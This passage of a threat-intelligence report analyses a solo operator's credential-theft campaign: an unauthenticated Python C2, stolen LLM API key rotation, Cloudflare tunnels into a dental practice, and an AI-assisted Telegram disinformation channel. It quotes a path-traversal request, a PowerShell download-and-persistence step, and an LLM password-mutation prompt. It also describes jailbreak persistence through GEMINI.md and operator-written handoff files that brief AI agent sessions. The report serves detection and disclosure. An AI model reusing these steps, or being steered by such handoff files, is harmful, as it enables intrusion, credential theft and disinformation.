Why this is structurally distinct from GEMINI.md jailbreak persistence: Trend Micro documented GEMINI.md as a content-level persistence pattern — the operator places jailbreak content in GEMINI.md in the working directory, and Gemini CLI auto-loads GEMINI.md on session start, which effectively persists the jailbreak across sessions without operator effort. This is a persistence pattern (content-level, auto-loaded). The three AI Operator Handoff Documents documented here are session-handoff patterns (operationally-loaded by operator reference, content-bearing of operational state). The two patterns are complementary but architecturally distinct: jailbreak persistence answers “how do I get the AI to do disallowed things every session?”; AI Operator Handoff Documents answer “how do I get a new AI session up to speed on what the prior session was doing?”

Why this matters: As AI agents move from chat-style interactions to multi-session operational workflows, the operator’s information-handoff pattern across sessions becomes a tradecraft surface. The three exemplars on disk represent a measurable evolution of operator tradecraft for AI-augmented operations — the operator is producing structured documentation specifically for AI consumption, treating the AI as an operational team member that needs to be briefed on prior work. This pattern will diffuse; defenders preparing for AI-augmented attacker workflows should expect to see this artifact class in other operator open directories going forward. The same artifact class appears at 22+ exemplars in Case 3 (Rovodev §4.4) — two facets of one novel TTP (operator-authored-for-AI here; AI-generated, superlative-named there), a shared tradecraft pattern, not coordination (see the parent §9.9).

Detection strategy: YARA rule for Markdown files combining session-start load directive (When starting a new session, refer to this file or equivalent) with operational-content markers (C2 endpoint URL patterns, credential-table indicators). Higher-risk filesystem locations: ~/.gemini/, ~/.claude/, ~/.codex/ directories on server-class Linux hosts. The rule is tuned with MEDIUM FP risk acknowledgment — legitimate AI-assisted development workflows can produce Markdown files with similar directive structure (CLAUDE.md project files); the operational-content co-occurrence is the disambiguator.

4.3 Operator-Built Unauthenticated Python-stdlib C2 Backend (c2_server.py)

Analyst note: This subsection documents the operator’s custom C2 server, written in Python using only the standard library http.server.BaseHTTPServer (no FastAPI, Flask, or aiohttp dependency). Five endpoints are referenced in client code; four are implemented in the server; one (/api/v1/get_results) is called by clients but is not implemented in the server. The mismatch is direct evidence of in-place iterative development against a live victim — the operator was deploying and iterating simultaneously. The C2 is unauthenticated by design, meaning any network-reachable actor can enumerate agents (/api/v1/agents) or issue commands (/api/v1/interact) without credentials — a significant finding for coordinated-disclosure and law enforcement.

Confidence: DEFINITE (source code captured from operator open directory; the literal banner string A2A C2 MULTI-AGENT CONSOLE is in console.py)

Server architecture:

c2_server.py subclasses http.server.BaseHTTPRequestHandler and dispatches on URI path. The transport is plain HTTP (no TLS at the server) — TLS is provided by the Cloudflare Tunnel transport layer fronting the server. Bodies are base64-encoded over a UTF-16LE text representation, with the operator’s custom HTTP headers carrying agent identity (X-Agent-ID: HOSTNAME_user, e.g., HOSTNAME_staff).

Endpoint inventory:

Endpoint Implemented? Purpose
/api/v1/update YES Agent → server: beacon update (typically every 5 seconds)
/api/v1/agents YES Server endpoint: enumerate registered agents (unauthenticated-takedown surface — LE/PSIRT-authorized only)
/api/v1/interact YES Server → agent: queue interactive command for next agent beacon
/api/v1/telemetry YES Agent → server: telemetry channel (host info, process snapshots)
/api/v1/get_results NO — called by client but not implemented in server Intended: agent → server result return path. Iterative-dev evidence: the operator deployed client code that calls an endpoint they had not yet implemented server-side.

The unauthenticated-by-design property: All five /api/v1/* endpoints accept arbitrary HTTP clients without any agent-authentication step — no token, session cookie, or shared secret is required. This means that any network-reachable actor can call /api/v1/agents to enumerate registered agents, or /api/v1/interact to queue arbitrary commands for those agents, without presenting credentials.

This unauthenticated surface is a significant finding for coordinated disclosure and law enforcement. Cloudflare PSIRT, acting under legal authority and in coordination with law enforcement, can use the disclosed API token and endpoint inventory to support a targeted takedown of the tunnel infrastructure. Law enforcement agencies with appropriate legal process may use these endpoints as part of a court-authorized disruption operation.

Victim-side defenders should NOT interact directly with attacker infrastructure. Issuing commands to /api/v1/interact or querying /api/v1/agents from a victim network — without explicit authorization from law enforcement — may constitute unauthorized access to a computer system under applicable computer-misuse law (e.g., 18 U.S.C. § 1030 in the US). Direct interaction with live attacker infrastructure also risks destroying forensic evidence, alerting the operator, and contaminating the evidence chain. The correct action is to document the finding, preserve local forensic artifacts, and route the disclosure through law enforcement and the relevant platform abuse channels. The endpoint signatures are documented in the Section 10 detection file.

The A2A C2 MULTI-AGENT CONSOLE banner: The operator’s console.py interactive shell prints this literal banner string on startup. The banner is the operator’s self-applied name for their custom C2 framework. It is the operator’s branding for their own work — and the highest-signal single-string fingerprint of this operator’s C2 across any future deployment, regardless of infrastructure migration.

Why the in-place iterative development matters: Operators who deploy stable, tested tooling against live victims typically have client-server interface contracts that are complete by deployment. The /api/v1/get_results mismatch is direct evidence that this operator was developing the C2 while deployed against the healthcare victim — adding client-side calls before completing server-side handlers. This is a mid-tier selective sophistication signal: the operator is capable of building a custom C2 (rather than using a commodity framework like Sliver or Cobalt Strike), but is operating without the engineering discipline that would prevent client/server interface mismatches on a live deployment.

Detection strategy: YARA rule covers the A2A C2 MULTI-AGENT CONSOLE banner string in Python source files plus the bespoke endpoint family. Sigma rule covers HTTP requests with X-Agent-ID header format HOSTNAME_user and URI /api/v1/{update,agents,interact,telemetry,get_results}. Suricata signature covers the HTTP request pattern at network perimeter. Full rule bodies in Section 10 detection file.

Path-traversal surface (self.path dispatched without normalization):

Python’s BaseHTTPRequestHandler stores the raw HTTP request URI in self.path with no library-level normalization or boundary enforcement. The captured c2_server.py do_GET / do_POST dispatch logic uses self.path directly for endpoint routing without applying urllib.parse.unquote(), os.path.normpath(), or os.path.realpath() boundary checks. Any handler invocation that constructs a local filesystem path from self.path — the pattern open(os.path.join(server_root, self.path.lstrip('/')), 'rb') observed in the source — is traversable by a caller issuing a URI containing ../ sequences (e.g., GET /../../../../etc/passwd HTTP/1.1).

Confidence: DEFINITE for the absent-sanitization code pattern (source code captured and reviewed). HIGH for the practical traversal condition — exploitability depends on which handler invocations reach filesystem operations; the primary endpoint-routing handlers serve structured API responses, but in-place iterative additions cannot be excluded without exhaustive dynamic testing.

Defender-relevant implication: The path-traversal surface compounds the zero-auth property documented above. Any network-reachable actor — including a defender conducting counter-intelligence enumeration against the C2 — can attempt filesystem reads without credential or token requirements. The operator’s server working directory at cloudflared-launch time determines the reachable scope; operator workstation artifacts (Gemini session logs, key inventories, credential ledgers) reachable via traversal would materially extend the intelligence available from the five API endpoints alone.

MITRE ATT&CK: T1083 (File and Directory Discovery) — path-traversal read access to the operator’s server filesystem from a network-adjacent position.

4.4 Stolen LLM API Key Validation + Rotation Pipeline

Analyst note: This subsection documents the operator’s pipeline for validating, testing, and rotating through an inventory of stolen frontier-LLM API keys. Three companion scripts (check_keys.py, test_gemini_3.1.py, retest_keys.py) work against an inventory of 40+ Gemini API keys plus an OpenAI key plus a Venice AI key, all tracked by MD5 hash. The operator’s publicly-open-sourced GitHub repository oravepo546-stack/Gemini-CLI-api-key-rotation provides a round-robin key rotation wrapper with cooldown-on-429 behavior. This is frontier-LLM compute theft from legitimate API key holders.

Confidence: DEFINITE (source code captured; inventory file captured; GitHub repository publicly visible)

Key inventory: 40+ Google Gemini API keys (format AIzaSy*), 1 OpenAI API key (format sk-*), 1 Venice AI key, each tracked by MD5 hash in an operator-maintained inventory file. The inventory file format includes per-key fields for source (where the key was stolen from), last test timestamp, current rate-limit status, and rotation cooldown timestamp.

Validation script (check_keys.py): Iterates the key inventory, issues a minimal Gemini API request per key, classifies the response (valid, rate-limited, revoked, unknown error), updates the inventory file with the result. The script is designed for batch-validation runs (e.g., overnight) and is tuned to back off when a key starts returning 429 rate-limit responses.

Active-test script (test_gemini_3.1.py): Per-key test of the operator’s actual prompt template against Gemini 2.5 Flash — confirms a key is usable for the credential mutation workflow specifically (not just that it accepts API calls).

Retest script (retest_keys.py): Reactivates previously-rate-limited keys after a cooldown window. The operator’s GitHub repository oravepo546-stack/Gemini-CLI-api-key-rotation provides the same logic in a more polished, publicly-published form.

The operator’s publicly-published GitHub repository: github.com/oravepo546-stack/Gemini-CLI-api-key-rotation is a round-robin Gemini API key rotation wrapper. The repository is under the operator’s secondary GitHub identity (oravepo546-stack organization account, distinct from the primary sonner1337 user account). The captured GitHub PAT (defanged: ghp_tdcX...DaRW) is associated with this organization account. This is direct operator-side OPSEC failure — the operator’s technique for rotating stolen API keys is publicly published under an operator-controlled identity that links back to operational artifacts on the operator workstation.

Why this matters: Frontier-LLM API keys represent shifted compute cost — the legitimate key holder’s billing account is charged for the operator’s attacks. 40+ keys at modest per-day usage represents a significant cumulative AI-compute resource. The validation + rotation pipeline is the engineering effort that makes the stolen-key model sustainable at operational tempo.

Detection strategy: Sigma rule for outbound HTTPS to generativelanguage.googleapis.com/v1beta/models?key=AIzaSy* with high key-diversity from a single source IP (>10 distinct keys per hour from one source is a strong rotation-pipeline signal). Server-class host scoping reduces FP risk vs. developer workstations that legitimately use multiple Gemini keys for testing.

4.5 Cloudflare Tunnel Topology + Persistent Victim Access

Analyst note: This subsection documents the operator’s use of Cloudflare Tunnel under an operator-owned custom domain (tralalarkefe.com) to provide persistent, TLS-encrypted, IP-block-resistant access into the healthcare victim environment. Six tunnel subdomains are configured. Two of the six provide direct operator-side inbound access into victim hosts: windows_server.tralalarkefe.com for RDP/WinRM into the Windows server, and gil_dr1.tralalarkefe.com for SSH. This is a meaningful evolution beyond documented trycloudflare.com quick-tunnel abuse — the custom-domain tunnel survives quick-tunnel teardown and enables post-migration agent reconnection.

Confidence: DEFINITE (Cloudflare API token captured; full tunnel inventory captured from operator filesystem)

Tunnel inventory (six subdomains under tralalarkefe.com):

Subdomain Role Protocol Persistence Implication
c2.tralalarkefe.com Custom C2 API endpoint family HTTPS Operator-side; agents beacon to this
payloads.tralalarkefe.com PowerShell payload distribution HTTPS Operator-side; agents fetch .ps1 from this
windows_server.tralalarkefe.com RDP/WinRM into the victim Windows host TCP (RDP) / HTTPS (WinRM) Victim-side persistent operator access
gil_dr1.tralalarkefe.com SSH into the victim Linux/management host TCP (SSH) Victim-side persistent operator access
catchall1.tralalarkefe.com Catch-all tunnel HTTPS Unknown role
10101.tralalarkefe.com Numbered tunnel (port-numbered) HTTPS Unknown role; possibly C2 instance on port 10101

Plus one ephemeral bootstrap tunnel: tenant-upcoming-great-descending.trycloudflare.com is a trycloudflare.com ephemeral quick-tunnel used for one-time bootstrap payload bundle delivery. Quick-tunnels cannot be pre-blocked at the domain level (any defender block of *.trycloudflare.com is overbroad), which makes them ideal for one-time delivery; the operator pairs the ephemeral quick-tunnel with the stable custom-domain tunnel for subsequent persistent access.

Why this is more persistent than documented trycloudflare.com abuse: The Proofpoint 2024-08-01 RAT-via-Cloudflare-Tunnel coverage documented the trycloudflare.com quick-tunnel pattern. Quick-tunnels are ephemeral by design — they expire when the operator-side cloudflared process terminates, and the random subdomain is not reused. Custom-domain tunnels under an operator-owned domain are stable — the tunnel UUID and subdomain remain bound to the operator’s Cloudflare account, and a new cloudflared process can reconnect to the same tunnel UUID after migration. This enables post-migration agent reconnection: if the operator’s source IP changes, the agent still beacons to c2.tralalarkefe.com successfully.

The captured Cloudflare full-admin API token: The operator’s API token (defanged: pBkvccy9...TBztGF2) provides Cloudflare PSIRT a single subpoena-grade lever to tear down the entire C2 transport layer — all six tunnel subdomains plus the operator-controlled zone (6d415863...18f47af5). This is the single most actionable disclosure target in the campaign. Cloudflare PSIRT engagement is the recommended Tier-0 disclosure action.

Detection strategy: Sigma rule for outbound HTTPS to *.tralalarkefe.com SNI. Sigma rule for cloudflared access tcp --hostname *.tralalarkefe.com argv on internal Linux hosts (catches operator-side use; for victim-side detection, look for any cloudflared process running with non-organization-account credentials). Detection rules in Section 10.

4.6 Healthcare Victim Compromise (HIPAA-Regulated Active Breach)

Analyst note: This subsection documents the primary victim of the operator’s credential mill: a US dental practice. The compromise is active at capture time with operator-controlled Cloudflare Tunnel persistent access into the victim’s internal environment. The Active Directory domain is [victim AD domain — redacted], two internal subnets are compromised, full local NTLM hash inventory is captured (6 hashes), and the OpenDental MySQL root password hash is captured. Patient Health Information governed by HIPAA is at material risk pending tunnel teardown by Cloudflare PSIRT and direct notification to the practice. The disclosure coordination path is HC3 (HHS Health Sector Cybersecurity Coordination Center).

Confidence: DEFINITE (operator-side artifacts capture full victim environment inventory; GCP project [victim-named GCP project — redacted] operator-named-after-victim signal)

Identifying the healthcare victim from operator-side artifacts: Three converging anchors identify the victim:

  1. GCP project [victim-named GCP project — redacted] — operator named a Google Cloud Platform project after the victim. This is a low-OPSEC tell that signals dedicated focus on this specific victim rather than opportunistic compromise.
  2. AD domain [victim AD domain — redacted] — captured from operator-side credential dumps and tunnel configurations.
  3. OpenDental MySQL root password hash — OpenDental is a specific dental-practice management software product; its presence in the captured credential inventory plus the [victim AD domain — redacted] AD domain plus the GCP project name converge on a US dental practice victim.

The specific practice name is not published in this report body; The Hunters Ledger coordination with HC3 and direct practice notification is the appropriate disclosure path. Defenders in the US dental / small healthcare sector should treat this operator’s TTPs as directly relevant to their environment regardless.

Victim environment inventory (from operator-side artifacts):

  • Active Directory domain: [victim AD domain — redacted]
  • Primary server internal IP: [victim internal host — redacted] (Windows server, RDP/WinRM access via windows_server.tralalarkefe.com)
  • Secondary host internal IP: [victim internal host — redacted] (designated FRONT2 in operator notes)
  • Subnets compromised: two internal subnets
  • Local NTLM hashes captured (6 accounts):
    • 31d6cfe0...089c0Empty-password Administrator account (this is the well-known NTLM hash of the empty string; the operator’s initial-access vector is plausibly a Windows machine with an empty Administrator password)
    • 0e98e3f9...3b76 — local SAM account CSI
    • ea17ea0b...9187 — local SAM account admln
    • 618adf86...3f32 — local SAM account Staff-1
    • fe89555f...52b6 — local SAM account
    • 9117918d...dd04 — local SAM account
  • OpenDental MySQL root password hash: captured (MySQL native password hash format) — provides direct access to OpenDental patient database
  • Persistent operator access at capture:
    • windows_server.tralalarkefe.com (RDP/WinRM)
    • gil_dr1.tralalarkefe.com (SSH)

HIPAA risk framing: OpenDental stores Patient Health Information (PHI) including patient demographics, clinical notes, treatment plans, payment information, insurance information. Operator-controlled root access to the OpenDental MySQL database provides full PHI read capability. Whether PHI has already been exfiltrated requires victim-side forensic analysis (egress data volume review against the operator-access time window); the capability is configured and operational at capture time.

Disclosure coordination: Tier-0 highest priority. Two parallel disclosure tracks:

  1. Direct practice notification of the healthcare victim — The Hunters Ledger coordinates direct notification; this is required for any victim-side remediation to begin.
  2. HC3 (HHS Health Sector Cybersecurity Coordination Center) — Federal sector-CERT coordination path for HIPAA-regulated victims. HC3 maintains the standard healthcare-sector threat intelligence dissemination channel.

The HIPAA Breach Notification Rule sets specific timelines and notification requirements for PHI exposure; the specific application of those requirements to this case is a decision for the healthcare victim and their outside counsel, not for this report.

4.7 Multi-Platform Operator Infrastructure (AEZA + GCP + Cloudflare)

Analyst note: This subsection documents the operator’s sovereignty-diversified infrastructure stack: AEZA AS210644 (OFAC-sanctioned Russian-corporate bulletproof-adjacent hosting) for the operator workstation, Google Cloud Platform (legitimate cloud provider) for operator C2 / proxy / mail-test instances, and Cloudflare (legitimate edge provider) for the victim-facing C2 transport layer. The three-platform stack provides operator-side OPSEC layering: victim-side defenders see only Cloudflare and GCP traffic; AEZA hosting is operator-side only. The single largest OPSEC failure is the operator-named GCP project [victim-named GCP project — redacted] carrying the victim’s name into a billing-account-associated identity surface.

Confidence: DEFINITE (all three platforms captured with operator-side metadata)

Platform 1 — AEZA AS210644 (213.165.51.115): Operator workstation hosting. AEZA Group LLC is a Russian-corporate provider with OFAC sanctions effective 2025-07-01 (Federal Register citation 2025-20573, effective 2025-11-21). Known AEZA customer base includes BianLian ransomware, RedLine infostealer, Meduza infostealer, Lumma infostealer, BlackSprut darknet marketplace, Doppelganger disinformation, plus this operator (UTA-2026-012) and the Case 9 GHOST cryptojacker operators (Sub-report 1). AEZA’s non-cooperative abuse response posture combined with OFAC sanction status places the provider in the bulletproof-adjacent class. The operator’s open-directory exposure on 213.165.51.115 was self-cleaned between Phase 7 and Phase 8 capture (totalItems: 0 by 2026-05-23) — operator detected and responded to exposure within days.

Platform 2 — Google Cloud Platform (three instances + two projects):

  • Project [victim-named GCP project — redacted] — operator-named-after-victim. Operator-controlled. The project name is the single largest OPSEC failure in the campaign — it ties the operator’s GCP account directly to the specific victim.
  • Project elated-gizmo-491112-k0 — operator’s existing GCP project. The service account geminicli@elated-gizmo-491112-k0.iam.gserviceaccount.com is billing-account-associated and is the law enforcement attribution path via Google Cloud Trust & Safety.
  • Instance 34.34.57.141 (NL — Ghost Proxy) — Operator proxy. All GCP logging on this instance is explicitly disabled — deliberate OPSEC investment on a cloud instance, demonstrating operator awareness of cloud-provider telemetry as a defender resource.
  • Instance 35.192.41.201 (US — Mailpit) — Mail test instance.
  • Instance 34.34.81.129 (NL — Windows C2) — Windows-side C2 instance.

Platform 3 — Cloudflare (custom domain tralalarkefe.com + 6 tunnel subdomains + zone 6d415863...18f47af5 + full-admin API token): Detailed in subsection 4.5. The operator-controlled API token provides Cloudflare PSIRT a single subpoena-grade lever.

Why this matters for defenders: The sovereignty-diversified stack means victim-side defenders see only Cloudflare and GCP traffic — the AEZA hosting is invisible to victim-side telemetry. Egress block on Cloudflare or GCP IP ranges is overbroad (both providers are legitimate edge / cloud providers used by many legitimate organizations). The defensible blocks are: (a) SNI block on *.tralalarkefe.com, (b) DNS block on tralalarkefe.com and any captured tunnel subdomain, (c) IP block on the specific GCP instances captured (34.34.81.129, 34.34.57.141, 35.192.41.201).

4.8 Co-located Telegram Disinformation Operation (@americanpatriotus / Quantum Patriot)

Analyst note: This subsection documents the cross-domain finding: the same operator who runs the credential mill against US healthcare also runs a US-targeted political Telegram disinformation channel @americanpatriotus (“Quantum Patriot” branding). The channel has ~17,000 subscribers per Trend Micro’s independent coverage; the operation has been active since 2021 (5-year campaign per Trend Micro) with an AI pivot in September 2025. A live posting workflow was captured in operator Gemini CLI session 2026-03-25T18-27 with anti-fraud / JD-Vance themed content authored by Gemini under operator instruction. Solo-actor cross-domain combination is rare in published reporting — DFRLab and OpenMinds document Russian-operated US-targeted Telegram networks at scale but typically attribute these to coordinated teams, not solo actors.

Confidence: DEFINITE (channel co-located on same operator infrastructure; live posting workflow captured in operator Gemini CLI session JSONs; Trend Micro independent confirmation)

Channel identifiers: Telegram channel @americanpatriotus. Self-applied content branding “Quantum Patriot.” Trend Micro reports ~17,000 subscribers and a 5-year operational history beginning 2021. Content profile per Trend Micro and Hunters Ledger session-capture observation: US-domestic political content, anti-fraud framing, JD-Vance themed posts, broadly aligned with Russian-disinformation US-political messaging templates documented by DFRLab and OpenMinds.

AI augmentation pattern: The operator’s Gemini CLI session 2026-03-25T18-27 captures a live posting workflow: the operator instructs Gemini to draft a post on a specific topic (e.g., anti-fraud framing of a specific event), Gemini drafts the post, the operator reviews and posts to @americanpatriotus. Per Trend Micro, the AI pivot occurred in September 2025 — the channel was operator-authored content-only from 2021–2025, then operator-with-AI-assistance from late 2025 onward. The Gemini-augmented posting workflow is direct evidence of the AI-augmentation phase.

Why this is rare in published reporting: DFRLab’s catalog of Russian-operated Kremlin Telegram networks (2023, ongoing) and OpenMinds’ research on Russian disinfo US-targeted channel networks typically attribute these operations to coordinated teams — multiple operators sharing infrastructure, content templates, and amplification networks. The combination of (a) financial cybercrime against US healthcare, (b) US-targeted political Telegram disinformation, (c) AI augmentation of both operations, and (d) single-operator profile (one solo actor running both) is a behavioral observation that does not match the documented coordinated-team baseline. Trend Micro’s “One Man, One AI, One Fake Persona” framing captures the same single-operator characterization.

The state-direction MODERATE-sensitivity assumption: A solo operator running a 5-year political disinformation channel raises a reasonable question of state direction or tasking — Russian state services have documented patterns of providing channel infrastructure or content templates to non-state operators. The Hunters Ledger and Trend Micro both characterize this operator as financially-motivated primary + political IO secondary; state direction cannot be ruled out from current evidence, but it is not supported either. This is documented as a MODERATE-sensitivity assumption in Section 9 (Threat Actor Assessment); resolution requires DFRLab-methodology content analysis of the channel’s amplification network and Russian state-disinfo template overlap.

Recommended cross-domain coordination: DFRLab (channel content analysis), Stanford Internet Observatory (cross-domain operator class research), OpenMinds (ecosystem positioning of @americanpatriotus within documented 52-channel conduit networks).

4.9 Commodity Service Procurement Layer (AntiPublic.one + nuclei + Stealer Logs)

Analyst note: This subsection documents the commodity-tier services the operator integrates into the custom credential mill: AntiPublic.one (commercial paid breach-data API, 6.56B records per service description, JWT-authenticated), nuclei (ProjectDiscovery legitimate open-source vulnerability scanner with operator-bespoke wp_admin_hunter.yaml template), and downstream stealer-logs from infostealer markets. The hybrid resource model — custom-built C2 + commodity paid services + commodity stolen LLM keys — is a HIGH-confidence dimension of the operator profile (Section 9).

Confidence: DEFINITE (JWT captured; nuclei tool + custom template captured; stealer log integration captured in scripts)

Commodity service 1 — AntiPublic.one paid subscription:

  • JWT identifiers captured: jti:44298, sub:31703
  • 191 MB AntiPublic tool directory captured in operator filesystem
  • Integration: mass_wp_mutator.py calls https://antipublic.one/api/v2/search to enrich captured email targets with prior breach data — the prior breach data feeds the ai_sniper_brute.py LLM mutator’s Most Recent Password from dump: field
  • Service tier: AntiPublic.one operates a paid-subscription commercial tier accessible to operator-class customers (per Trend Micro coverage)
  • Russian-cybercrime ecosystem affiliation: AntiPublic.one is Russian-language-primary; paid subscriptions are an established commercial-tier signal in the ecosystem

Commodity service 2 — nuclei (ProjectDiscovery):

  • 38.7 MB nuclei mega-hunt log captured in operator filesystem — covers ~30,000 WordPress sites scanned for wp-login.php accessibility and admin enumeration
  • Operator-bespoke template wp_admin_hunter.yaml — custom nuclei template authored by the operator (or sourced from a commodity template marketplace) targeting WordPress admin discovery and credential validation
  • Why this matters: nuclei is a legitimate open-source tool with extensive legitimate use cases; the operator’s mega-hunt log size and the operator-bespoke template are the operational-context signals that distinguish offensive use from defensive use

Commodity service 3 — downstream stealer logs: Operator scripts reference stealer-log market formats (RedLine / Lumma / Meduza log directory conventions), consistent with operator purchasing pre-stolen credential logs from infostealer markets as upstream input to the credential mill. The operator’s hybrid resource model layers commodity stolen logs into the LLM-personalized mutation pipeline — stolen logs provide the Most Recent Password from dump: input, the LLM mutator generates the 20 current candidate mutations, the WordPress validation rig tests the candidates against ~30,000 sites.

Why the hybrid resource model matters: The hybrid — custom C2 + LLM personalization + commodity breach data + commodity scanning — yields measurably higher throughput per operator-hour than either a pure-custom or pure-commodity baseline. Building everything from scratch would be slow and expensive for a solo operator; relying entirely on commodity tooling would cap throughput at the commodity-stuffing baseline. This is the AI-augmented mid-tier operator class in action: the operator extracts disproportionate leverage from frontier-LLM compute, currently the cheapest unit of intelligence it can buy or steal.


5. Static Analysis

Analyst note: This section walks the operator’s Python source and Markdown handoff documents at the structural level. The captured arsenal is operator-built Python — there is no compiled binary stage for the credential mill components themselves (the only binary stage, the PowerShell beacon agent_final.ps1, was referenced in handoff documents but not extracted; lineage caveat in §5.4). The high-signal findings: (1) the verbatim Gemini role-priming prompt in ai_sniper_brute.py; (2) the three AI Operator Handoff Document structural patterns; (3) the c2_server.py endpoint family and the /api/v1/get_results mismatch; (4) the operator’s Russian-language source comments.

5.1 ai_sniper_brute.py — LLM-Personalized Credential Mutator

File type: Python source, captured from operator open directory Confidence: DEFINITE (source code directly inspected)

Imports and dependencies:

  • google.generativeai (Google Gemini Python client)
  • Standard library: os, time, sys, json, concurrent.futures
  • No third-party dependencies beyond google.generativeai

Functional structure:

  1. Initialization block — Russian comment # Инициализация ИИ (Используем Flash для скорости) (“AI initialization (Using Flash for speed)”); initializes Gemini 2.5 Flash model with stolen API key from inventory.
  2. Input file read — opens ULTRA_GOLD_TARGETS.txt (operator-self-named input file); parses per-target records with email + domain + known-password fields.
  3. Per-target mutation generation loop — invokes Gemini per target with the verbatim role-priming prompt; parses 20 candidate passwords from model response; with 3-thread concurrency throttle (Russian comment # Медленно, в 3 потока, чтобы не банили прокси и API — “Slowly, in 3 threads, so they don’t ban the proxies and API”).
  4. Candidate validation — attempts each candidate against the target service (the validation transport varies by deployment; the captured version targets WordPress wp-login.php).
  5. Success-write block — writes successful credential pairs to AI_SNIPER_GOODS.txt (operator-self-named output file) with success-message format [+++ AI SUPER GOOD +++] {target}:{credential}.
  6. Rate-limit back-pressure — Russian comment # Не душим API Gemini (“Don’t strangle the Gemini API”); detects 429 responses from Gemini and sleeps with cooldown.

High-signal detection strings (from this file alone):

  • Act as an expert red-team password analyst (role-priming prompt opening)
  • Most Recent Password from dump: (prompt template field)
  • generate exactly 20 likely current mutations (prompt template instruction)
  • AI_SNIPER_GOODS (operator-self-named output filename pattern)
  • ULTRA_GOLD_TARGETS (operator-self-named input filename pattern)
  • [+++ AI SUPER GOOD +++] (success-message format string)
  • google.generativeai (Gemini API import)
  • Russian operator comments (low-FP signature when combined with above)

These strings combine into Rule 1 in the linked detection file (Section 10).

5.2 c2_server.py and console.py — Custom Python-stdlib C2

Analyst note: This section walks through the operator’s hand-built C2 backend, which is a Python standard-library HTTP server with no authentication on any endpoint. The architecture is unsophisticated by C2-framework standards but actively operated against real victims — and the source code captures direct evidence of in-place iterative development (one endpoint is called by the client but not yet implemented by the server). Defenders should treat this class of operator-built tooling as a recognizable pattern, not an exotic outlier.

File types: Python source, captured from operator open directory Confidence: DEFINITE (source code directly inspected)

c2_server.py structural inventory:

  • Subclasses http.server.BaseHTTPRequestHandler
  • Dispatches on URI path via if self.path == '/api/v1/update': ... chain
  • Four endpoints implemented in dispatcher: /api/v1/update, /api/v1/agents, /api/v1/interact, /api/v1/telemetry
  • Body parsing: base64.b64decode(self.rfile.read(content_length)).decode('utf-16-le') — base64 over UTF-16LE encoding
  • Custom header parsing: self.headers.get('X-Agent-ID') with expected format HOSTNAME_user
  • No authentication step in any handler (unauthenticated by design)
  • No TLS at server (TLS provided by Cloudflare Tunnel transport)

console.py structural inventory:

  • Interactive operator shell for the C2
  • Prints literal banner on startup: A2A C2 MULTI-AGENT CONSOLE (operator’s self-applied framework name)
  • Commands include: agents (enumerate registered agents), interact <agent-id> (queue interactive command for agent), telemetry <agent-id> (request telemetry), update <agent-id> (push update)

The /api/v1/get_results mismatch evidence:

  • Operator’s PowerShell beacon code (referenced in DEPLOYED_TOOLS.md handoff document) calls POST /api/v1/get_results on the C2 to return command execution results
  • The server’s c2_server.py does not contain a handler for /api/v1/get_results — the dispatcher’s if/elif chain does not include this path
  • This means client-side calls to /api/v1/get_results return HTTP 404 from the server
  • Direct evidence of in-place iterative development: operator deployed client code that calls a server endpoint they had not yet implemented

High-signal detection strings:

  • A2A C2 MULTI-AGENT CONSOLE (literal banner)
  • /api/v1/update, /api/v1/agents, /api/v1/interact, /api/v1/telemetry, /api/v1/get_results (endpoint family)
  • X-Agent-ID header name (bespoke)
  • Combination of BaseHTTPRequestHandler + the endpoint family + the X-Agent-ID header is a low-FP single-file YARA detection

The same structural signature was independently validated on two other operators in this series — Case 2 (Turkish ARPA) and Case 3 (Rovodev §4.5) — a shared AI-tool fingerprint, not coordination (coordination is REFUTED; see the parent §9.9).

5.3 Three AI Operator Handoff Documents (C2_INFRA_TRANSFER.md, DEPLOYED_TOOLS.md, C2_MIGRATION_GUIDE.md)

Analyst note: These three Markdown files are the most distinctive artifact class in the case — operator-written documentation produced specifically to re-prime a new AI agent session with full operational context. The pattern treats the AI agent as a teammate who has lost memory between sessions. Defenders watching for this artifact class on suspected attacker hosts should expect short, structured Markdown files with operational narrative + endpoint inventories + credential ledgers, sometimes with explicit “From: / To:” headers naming the AI agent.

File types: Markdown, captured from operator open directory Confidence: HIGH (three exemplars; novelty claim MAINTAINED per Section 13)

Common structural pattern (across all three documents):

# [Document Title]

**To:** Gemini CLI
**From:** Gemini CLI

> When starting a new session, refer to this file.

## Current State
- [operational state inventory]

## Endpoints / Tools / Plan
- [operational content]

## Next Steps
- [forward-looking instructions for the AI consumer]

C2_INFRA_TRANSFER.md content (paraphrased — full text in offline evidence):

  • Documents the current Cloudflare Tunnel topology under tralalarkefe.com
  • Lists the four GCP instances (Ghost Proxy, Mailpit, Windows C2) with roles
  • References the operator’s GCP service account
  • Forward-looking notes on planned infrastructure changes

DEPLOYED_TOOLS.md content:

  • Inventories the operator’s Python tooling (ai_sniper_brute.py, check_keys.py, c2_server.py, mass_wp_mutator.py, quantum_patriot.py)
  • Per-tool: file path, purpose summary, last-run target, last-used Gemini API key (referenced by inventory index)
  • Operational notes on how each tool integrates with the others

C2_MIGRATION_GUIDE.md content:

  • Forward-looking document on planned C2 transport migration
  • Includes pros / cons analysis (operator drafted with AI assistance based on the document’s structure)
  • References specific Cloudflare and GCP configurations to change

High-signal detection strings:

  • **To:** Gemini CLI (explicit AI-to-AI header)
  • **From:** Gemini CLI
  • When starting a new session, refer to this file (session-start load directive)
  • Братух (Russian-native operator persona-string addressed to Gemini)
  • Co-occurrence with C2 endpoint URL patterns (/api/v1/update, c2.tralalarkefe.com) or credential-table indicators

These strings combine into Rule 2 in the linked detection file (Section 10).

5.4 PowerShell Beacon (agent_final.ps1) — Inferred Quasar-Fork Lineage

Analyst note: This subsection covers a PowerShell beacon referenced in operator handoff documents but not directly extracted in this investigation. The “Quasar-class” framing is based on operator-side text references to a “Quasar fork”; the public Quasar RAT family is .NET-based, so this is at most a rewritten-in-PowerShell variant, not a Quasar binary in the canonical sense. Treat the lineage as inferred and tied specifically to the operator’s own naming, not as a settled malware-family classification.

File type: PowerShell, referenced in operator handoff documents; full source not extracted Confidence: MODERATE (operator-side reference + dynamic-analysis network evidence; binary not captured)

The PowerShell beacon agent_final.ps1 is referenced in DEPLOYED_TOOLS.md as the victim-side agent component. The full source code was not extracted in the captured open-directory snapshot. Inferred behavior from operator-side notes and observed network traffic:

  • Initial download via Invoke-RestMethod -Uri https://payloads.tralalarkefe.com/run_bg.ps1 after [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  • Persistence via HKCU Run key WindowsUpdateManager pointing to %LOCALAPPDATA%\Microsoft\WindowsUpdateManager.ps1
